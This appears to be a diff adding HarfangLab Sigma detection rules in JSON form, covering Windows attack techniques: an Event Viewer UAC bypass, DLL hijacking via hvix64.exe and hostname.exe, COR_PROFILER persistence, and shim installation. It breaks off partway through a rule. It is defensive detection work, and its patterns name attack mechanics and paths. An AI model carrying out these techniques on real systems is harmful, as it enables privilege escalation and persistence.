+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.073918Z",
+  "creation_date": "2026-03-23T11:45:34.073920Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.073925Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/CsEnox/EventViewer-UACBypass/blob/main/Invoke-EventViewer.ps1",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_prepare_uac_bypass_eventviewr.yml",
+  "content": "title: UAC Bypass via EventViewer Prepared\nid: dd8e0768-9335-472a-89fb-71efaa573368\ndescription: |\n    Detects an unusual process writing to the Event Viewer's RecentViews file.\n    This file is automatically loaded and executed when the Event Viewer starts.\n    Malicious actors may alter this file's contents to exploit the Event Viewer's automatic privilege elevation feature for UAC bypass.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to investigate the process editing the file for other potentially harmful activities and to monitor eventvwr.exe for any suspicious behavior.\nreferences:\n    - https://github.com/CsEnox/EventViewer-UACBypass/blob/main/Invoke-EventViewer.ps1\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2024/10/08\nmodified: 2025/05/05\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.defense_evasion\n    - attack.t1548.002\n    - attack.t1105\n    - attack.execution\n    - attack.t1204.002\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: filesystem_event\ndetection:\n    selection:\n        - Kind:\n             - 'create'\n             - 'write'\n          Path: '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\Event Viewer\\RecentViews'\n        - Kind: 'rename'\n          TargetPath: '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\Event Viewer\\RecentViews'\n\n    filter_mmc:\n        Image:\n            - '?:\\Windows\\System32\\mmc.exe'\n            - '?:\\Windows\\syswow64\\mmc.exe'\n\n    filter_svchost:\n        Image: '?:\\Windows\\System32\\svchost.exe'\n\n    filter_system:\n        ProcessName: 'system'\n        ProcessId: '4'\n\n    exclusion_programfiles:\n        Image|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_setuphost:\n        ProcessParentImage: '?:\\Windows\\System32\\oobe\\Setup.exe'\n        Image: '?:\\Windows\\System32\\rundll32.exe'\n        ProcessCommandLine|contains: 'shsetup.dll,SHUnattendedSetup specialize'\n\n    exclusion_dllhost:\n        ProcessCommandLine: '?:\\WINDOWS\\system32\\DllHost.exe /Processid:{????????-????-????-????-????????????}'\n        ProcessParentImage: '?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_explorer:\n        Image: '?:\\windows\\Explorer.EXE'\n        ProcessParentImage: '?:\\Windows\\System32\\userinit.exe'\n\n    exclusion_vssvc:\n        Image: '?:\\windows\\system32\\vssvc.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_transwiz:\n        Image: '?:\\ProgramData\\ForensiT\\Transwiz\\Deployment Files\\Transwiz.exe'\n    exclusion_transwiz_signed:\n        ProcessDescription: 'ForensiT Transwiz'\n        ProcessSigned: 'true'\n        ProcessSignature: 'ForensiT Limited'\n\n    exclusion_defender:\n        Image: '?:\\ProgramData\\Microsoft\\Windows Defender\\platform\\\\*\\MsMpEng.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows Publisher'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "dd8e0768-9335-472a-89fb-71efaa573368",
+  "rule_name": "UAC Bypass via EventViewer Prepared",
+  "rule_description": "Detects an unusual process writing to the Event Viewer's RecentViews file.\nThis file is automatically loaded and executed when the Event Viewer starts.\nMalicious actors may alter this file's contents to exploit the Event Viewer's automatic privilege elevation feature for UAC bypass.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to investigate the process editing the file for other potentially harmful activities and to monitor eventvwr.exe for any suspicious behavior.\n",
+  "rule_creation_date": "2024-10-08",
+  "rule_modified_date": "2025-05-05",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1204.002",
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "dd90eaf0-3a7a-41c3-8629-fb73d3ec4ec5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.081102Z",
+  "creation_date": "2026-03-23T11:45:34.081104Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.081108Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_hvix64.yml",
+  "content": "title: DLL Hijacking via hvix64.exe\nid: dd90eaf0-3a7a-41c3-8629-fb73d3ec4ec5\ndescription: |\n    Detects potential Windows DLL Hijacking via hvix64.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'hvix64.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\KDSTUB.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "dd90eaf0-3a7a-41c3-8629-fb73d3ec4ec5",
+  "rule_name": "DLL Hijacking via hvix64.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via hvix64.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "dd94655a-da1f-45df-a62f-a450279586eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.589437Z",
+  "creation_date": "2026-03-23T11:45:34.589440Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.589448Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_hostname.yml",
+  "content": "title: DLL Hijacking via Hostname\nid: dd94655a-da1f-45df-a62f-a450279586eb\ndescription: |\n    Detects potential Windows DLL Hijacking via hostname.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'hostname.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\mswsock.dll'\n            - '\\napinsp.dll'\n            - '\\nlansp_c.dll'\n            - '\\pnrpnsp.dll'\n            - '\\winrnr.dll'\n            - '\\wshbth.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "dd94655a-da1f-45df-a62f-a450279586eb",
+  "rule_name": "DLL Hijacking via Hostname",
+  "rule_description": "Detects potential Windows DLL Hijacking via hostname.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "dda6c94b-47f4-42fd-bdbd-76095c15ac79",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086046Z",
+  "creation_date": "2026-03-23T11:45:34.086048Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086052Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://offsec.almond.consulting/UAC-bypass-dotnet.html",
+    "https://redcanary.com/blog/cor_profiler-for-persistence/",
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.012/T1574.012.md#atomic-test-2---system-scope-cor_profiler",
+    "https://attack.mitre.org/techniques/T1574/012/"
+  ],
+  "name": "t1574_012_clr_profiler_system_environment_variable_modification.yml",
+  "content": "title: .NET CLR Profiler Changed in System Environment\nid: dda6c94b-47f4-42fd-bdbd-76095c15ac79\ndescription: |\n    Detects when a COR_PROFILER or a COR_PROFILER_PATH process environment variable is being modified.\n    An adversary could set the COR_PROFILER environment variable to a malicious payload to achieve persistence or privilege escalation.\n    It is recommended to investigate the value of the registry modification as well as the process performing the modification to determine the legitimacy of this action.\nreferences:\n    - https://offsec.almond.consulting/UAC-bypass-dotnet.html\n    - https://redcanary.com/blog/cor_profiler-for-persistence/\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.012/T1574.012.md#atomic-test-2---system-scope-cor_profiler\n    - https://attack.mitre.org/techniques/T1574/012/\ndate: 2022/12/23\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.defense_evasion\n    - attack.t1574.012\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_set:\n        EventType: 'SetValue'\n        TargetObject:\n            - 'HKLM\\\\*\\Environment\\COR_PROFILER'\n            - 'HKLM\\\\*\\Environment\\COR_PROFILER_PATH'\n\n    selection_rename:\n        EventType: 'RenameKey'\n        NewName:\n            - 'HKLM\\\\*\\Environment\\COR_PROFILER'\n            - 'HKLM\\\\*\\Environment\\COR_PROFILER_PATH'\n\n    filter_empty:\n        Details:\n            - '(Empty)'\n            - ''\n\n    exclusion_cybereason:\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Cybereason Inc'\n            - 'Cybereason Inc.'\n            - 'Cybereason, Inc'\n            - 'Cybereason, Inc.'\n\n    exclusion_setuphost:\n        ProcessImage: '?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_systemproperties:\n        ProcessImage:\n            - '?:\\Windows\\System32\\SystemPropertiesAdvanced.exe'\n            - '?:\\Windows\\System32\\SystemPropertiesComputerName.exe'\n            - '?:\\Windows\\System32\\SystemPropertiesRemote.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    condition: ((selection_set and not filter_empty) or selection_rename) and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "dda6c94b-47f4-42fd-bdbd-76095c15ac79",
+  "rule_name": ".NET CLR Profiler Changed in System Environment",
+  "rule_description": "Detects when a COR_PROFILER or a COR_PROFILER_PATH process environment variable is being modified.\nAn adversary could set the COR_PROFILER environment variable to a malicious payload to achieve persistence or privilege escalation.\nIt is recommended to investigate the value of the registry modification as well as the process performing the modification to determine the legitimacy of this action.\n",
+  "rule_creation_date": "2022-12-23",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1574.012"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ddfacdc8-9d69-4697-bdc8-98e179789464",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088418Z",
+  "creation_date": "2026-03-23T11:45:34.088420Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088424Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf",
+    "https://attack.mitre.org/techniques/T1036/"
+  ],
+  "name": "t1036_suspicious_execution_from_user_public.yml",
+  "content": "title: Suspicious Process Executed from Public User Folder\nid: ddfacdc8-9d69-4697-bdc8-98e179789464\ndescription: |\n    Detects a suspicious execution from the root of the Public user folder.\n    This folder is an uncommon directory for binaries to execute from and is often abused by attackers.\n    It is recommended to investigate the parent and child processes for suspicious activities.\nreferences:\n    - https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf\n    - https://attack.mitre.org/techniques/T1036/\ndate: 2022/12/14\nmodified: 2025/01/15\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1036\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image: '?:\\Users\\Public\\\\*.exe'\n\n    filter_depth:\n        Image: '?:\\Users\\Public\\\\*\\\\*.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ddfacdc8-9d69-4697-bdc8-98e179789464",
+  "rule_name": "Suspicious Process Executed from Public User Folder",
+  "rule_description": "Detects a suspicious execution from the root of the Public user folder.\nThis folder is an uncommon directory for binaries to execute from and is often abused by attackers.\nIt is recommended to investigate the parent and child processes for suspicious activities.\n",
+  "rule_creation_date": "2022-12-14",
+  "rule_modified_date": "2025-01-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "de57a975-1542-4602-bd7b-633e461ec1a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075270Z",
+  "creation_date": "2026-03-23T11:45:34.075272Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075277Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://strontic.github.io/xcyclopedia/library/sdbinst.exe-9A081E86E9FF0AA957EDA8E8D0624BAC.html",
+    "https://redcanary.com/blog/detecting-application-shimming/",
+    "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html",
+    "https://blog.f-secure.com/hunting-for-application-shim-databases/",
+    "https://attack.mitre.org/techniques/T1546/011/"
+  ],
+  "name": "t1546_011_sdbinst.yml",
+  "content": "title: Sdbinst.exe Executed\nid: de57a975-1542-4602-bd7b-633e461ec1a1\ndescription: |\n    Detects an execution of the legitimate windows binary sdbinst.exe, used to install a new shim database on the system.\n    Application shims are used by Microsoft to allow backward compatibility of applications on differing Windows version.\n    This feature is often used by attackers in order to establish persistence or to elevate privileges by executing malicious content triggered by application shims.\n    It is recommended to investigate the newly installed shim and to look for other suspicious activities by the parent processes.\nreferences:\n    - https://strontic.github.io/xcyclopedia/library/sdbinst.exe-9A081E86E9FF0AA957EDA8E8D0624BAC.html\n    - https://redcanary.com/blog/detecting-application-shimming/\n    - https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html\n    - https://blog.f-secure.com/hunting-for-application-shim-databases/\n    - https://attack.mitre.org/techniques/T1546/011/\ndate: 2021/08/27\nmodified: 2025/04/04\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1546.011\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\sdbinst.exe'\n        - OriginalFileName: 'sdbinst.exe'\n    selection_command:\n        CommandLine|contains: '.sdb'\n\n    selection_parent:\n        # When the agent is under a lot of pressure, the parent information of a process can be missing.\n        # Exceptionnaly for this rule, because it triggers so frequently with a low severity, we will ignore\n        # its instances where the parent is missing.\n        # When the parent is missing, the ParentImage or ParentCommandLine field is also missing (it is not empty or null)\n        # so we can't easily match against that.\n        # Instead, we reverse the problem by requiring the ParentImage fields to contain a `\\`.\n        ProcessParentImage|contains: '\\'\n\n    exclusion_trustedinstaller:\n        CommandLine:\n            - '?:\\windows\\System32\\sdbinst.exe /c'\n            - '?:\\windows\\SysWOW64\\sdbinst.exe /c'\n        ParentImage: '?:\\Windows\\servicing\\TrustedInstaller.exe'\n\n    exclusion_programfiles:\n        CommandLine|startswith:\n            - '?:\\Windows\\System32\\sdbinst.exe *:\\Program Files (x86)\\'\n            - '?:\\Windows\\SysWOW64\\sdbinst.exe *:\\Program Files (x86)\\'\n            - '?:\\Windows\\System32\\sdbinst.exe *:\\Program Files\\'\n            - '?:\\Windows\\SysWOW64\\sdbinst.exe *:\\Program Files\\'\n\n    exclusion_dbtask:\n        CommandLine:\n            - '?:\\WINDOWS\\System32\\sdbinst.exe -m -bg'\n            - '?:\\WINDOWS\\System32\\sdbinst.exe -mm'\n        ProcessParentCommandLine:\n            - '?:\\WINDOWS\\system32\\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc'\n            - '?:\\WINDOWS\\system32\\rundll32.exe ?:\\WINDOWS\\system32\\PcaSvc.dll,PcaPatchSdbTask'\n            - '?:\\WINDOWS\\System32\\svchost.exe -k LocalSystemNetworkRestricted -p'\n            - '?:\\Windows\\System32\\sdbinst.exe -m -bg'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\sdbinst.exe -mm'\n\n    exclusion_ztvoice:\n        CommandLine:\n            - '?:\\windows\\system32\\sdbinst.exe -q ?:\\windows\\Speech\\Freedom Scientific ZtVoiceEnable Zt.sdb'\n            - '?:\\WINDOWS\\system32\\sdbinst.exe -q -u ?:\\WINDOWS\\Speech\\Freedom Scientific ZtVoiceEnable Zt.sdb'\n        ParentImage|endswith: '\\msiexec.exe'\n\n    exclusion_immersivecontrolpanel:\n        CommandLine: '?:\\WINDOWS\\system32\\sdbinst.exe -u ?:\\WINDOWS\\AppPatch\\CustomSDB\\{????????-????-????-????-????????????}.sdb'\n        ParentImage: '?:\\Windows\\ImmersiveControlPanel\\SystemSettings.exe'\n\n    exclusion_acmigration:\n        CommandLine:\n            - '?:\\WINDOWS\\system32\\sdbinst.exe -q ?:\\WINDOWS\\Panther\\MigrationShims\\MigShim?\\Migrating\\{????????-????-????-????-????????????}.sdb'\n            - '?:\\WINDOWS\\system32\\sdbinst.exe -q -u -g {????????-????-????-????-????????????}'\n        ParentCommandLine: 'rundll32.exe acmigration.dll,ApplyMigrationShims'\n\n    exclusion_msiexec:\n        ParentImage:\n            - '?:\\Windows\\SysWOW64\\msiexec.exe'\n            - '?:\\Windows\\System32\\msiexec.exe'\n        GrandparentImage: '?:\\Windows\\System32\\msiexec.exe'\n\n    exclusion_appwiz:\n        CommandLine: '?:\\WINDOWS\\system32\\sdbinst.exe -u ?:\\WINDOWS\\AppPatch\\CustomSDB\\{????????-????-????-????-????????????}.sdb'\n        ParentCommandLine: '?:\\WINDOWS\\system32\\DllHost.exe /Processid:{FCC74B77-EC3E-4DD8-A80B-008A702075A9}'\n\n    exclusion_ztvoiceenable:\n        CommandLine:\n            - '?:\\Windows\\system32\\sdbinst.exe -q -u ?:\\WINDOWS\\Speech\\ZtVoicesEnable_*.sdb'\n            - '?:\\Windows\\SysWOW64\\sdbinst.exe -q -u ?:\\WINDOWS\\Speech\\ZtVoicesEnable_*.sdb'\n\n    exclusion_compatibility_toolkit:\n        ProcessParentImage:\n            - '?:\\Program Files (x86)\\Windows Kits\\10\\Assessment and Deployment Kit\\Application Compatibility Toolkit\\Compatibility Administrator (32-bit)\\Compatadmin.exe'\n            - '?:\\Program Files (x86)\\Windows Kits\\10\\Assessment and Deployment Kit\\Application Compatibility Toolkit\\Compatibility Administrator (64-bit)\\Compatadmin.exe'\n\n    exclusion_compatibility_assistant:\n        ParentCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc'\n\n    